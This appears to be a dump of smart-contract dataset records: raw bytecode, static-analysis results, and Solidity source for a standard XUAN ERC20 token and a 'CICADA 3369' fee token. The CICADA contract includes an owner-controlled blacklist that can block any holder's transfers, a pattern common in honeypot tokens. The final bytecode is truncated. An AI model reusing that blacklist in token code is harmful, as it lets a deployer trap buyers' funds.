01600160a01b038116811461020457600080fdfea26469706673582212200441ac29dff87f1c494333692b03fee2ff996f1e414950be50e43c5ed5a46e1f64736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,765 |
0x72a8e0272fdf57f26588dfca90082f01d51cb29a
|
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: xuan_source.sol
/**
* @title XUANToken
* @dev based on securely audited code from OpenZeppelin v1.10.0.
* ref: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/eb4dfea6e9a1cd849cd2e12dd153f03910695f58/contracts/examples/SimpleToken.sol
*/
contract XUANToken is StandardToken {
string public constant name = "XUAN Token"; // solium-disable-line uppercase
string public constant symbol = "XUAN"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = (10 ** 9) * (10 ** uint256(decimals));
/**
* @dev distribute initial tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a52565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce3565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d64565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f83565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117f565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f5855414e20546f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b63576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf7565b610b76838261120690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f5855414e0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dee57600080fd5b610e3f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121457fe5b818303905092915050565b6000818301905082811015151561123257fe5b809050929150505600a165627a7a723058201e9caf832069919343e1feca2553c913fc6322b015b8004d360802c9fa64288a0029
|
{"success": true, "error": null, "results": {}}
| 5,766 |
0x71231c20872ce06e4b1a46ccaf823b89ec741c05
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
// SPDX-License-Identifier: UNLICENSED
//@cicada3369
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CICADA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "CICADA 3369";
string private constant _symbol = "CICADA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x86204F7B9556478Dd1045CdEf586A0CC1F042C89);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 5000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 10) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 10) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610314578063a9059cbb1461032957600080fd5b8063273123b7116100f2578063273123b714610217578063313ce5671461023757806346df33b7146102535780636fc3eaec1461027357806370a082311461028857600080fd5b806306fdde031461013a578063095ea7b31461018057806318160ddd146101b05780631bbae6e0146101d557806323b872dd146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a434943414441203333363960a81b60208201525b604051610177919061165c565b60405180910390f35b34801561018c57600080fd5b506101a061019b3660046116d6565b610419565b6040519015158152602001610177565b3480156101bc57600080fd5b50670de0b6b3a76400005b604051908152602001610177565b3480156101e157600080fd5b506101f56101f0366004611702565b610430565b005b34801561020357600080fd5b506101a061021236600461171b565b61047b565b34801561022357600080fd5b506101f561023236600461175c565b6104e4565b34801561024357600080fd5b5060405160098152602001610177565b34801561025f57600080fd5b506101f561026e366004611787565b61052f565b34801561027f57600080fd5b506101f5610577565b34801561029457600080fd5b506101c76102a336600461175c565b6105ab565b3480156102b457600080fd5b506101f56105cd565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610177565b3480156102f157600080fd5b5060408051808201909152600681526543494341444160d01b602082015261016a565b34801561032057600080fd5b506101f5610641565b34801561033557600080fd5b506101a06103443660046116d6565b610853565b34801561035557600080fd5b506101f56103643660046117ba565b610860565b34801561037557600080fd5b506101f56108f6565b34801561038a57600080fd5b506101f5610936565b34801561039f57600080fd5b506101f56103ae366004611702565b610ade565b3480156103bf57600080fd5b506101f56103ce366004611702565b610b16565b3480156103df57600080fd5b506101c76103ee36600461187f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610426338484610b4e565b5060015b92915050565b6000546001600160a01b031633146104635760405162461bcd60e51b815260040161045a906118b8565b60405180910390fd5b6611c37937e080008111156104785760108190555b50565b6000610488848484610c72565b6104da84336104d585604051806060016040528060288152602001611a7c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f82565b610b4e565b5060019392505050565b6000546001600160a01b0316331461050e5760405162461bcd60e51b815260040161045a906118b8565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105595760405162461bcd60e51b815260040161045a906118b8565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a15760405162461bcd60e51b815260040161045a906118b8565b4761047881610fbc565b6001600160a01b03811660009081526002602052604081205461042a90610ff6565b6000546001600160a01b031633146105f75760405162461bcd60e51b815260040161045a906118b8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161045a906118b8565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906118ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf91906118ed565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906118ed565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610426338484610c72565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161045a906118b8565b60005b81518110156108f2576001600660008484815181106108ae576108ae61190a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea81611936565b91505061088